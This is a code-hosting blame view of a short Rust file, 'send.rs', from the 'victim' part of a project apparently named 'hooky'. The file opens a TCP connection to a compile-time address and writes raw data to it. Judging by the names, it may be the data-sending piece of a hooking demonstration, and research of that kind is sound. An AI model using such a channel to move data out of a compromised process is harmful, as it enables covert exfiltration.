~/hooky

hooky/victim/src/send.rs -rw-r--r-- 200 B
dfc58611 — Arthur Melton format all the rust code 2 years ago

            
583b1720 Arthur Melton
dfc58611 Arthur Melton
583b1720 Arthur Melton
b90df7a0 Arthur Melton
583b1720 Arthur Melton



1
2
3
4
5
6
7
8
use std::io::Write;
use std::net::TcpStream;

pub fn send(data: &[u8]) -> Result<(), std::io::Error> {
    let mut stream = TcpStream::connect(env!("send_to"))?;
    stream.write(data)?;
    Ok(())
}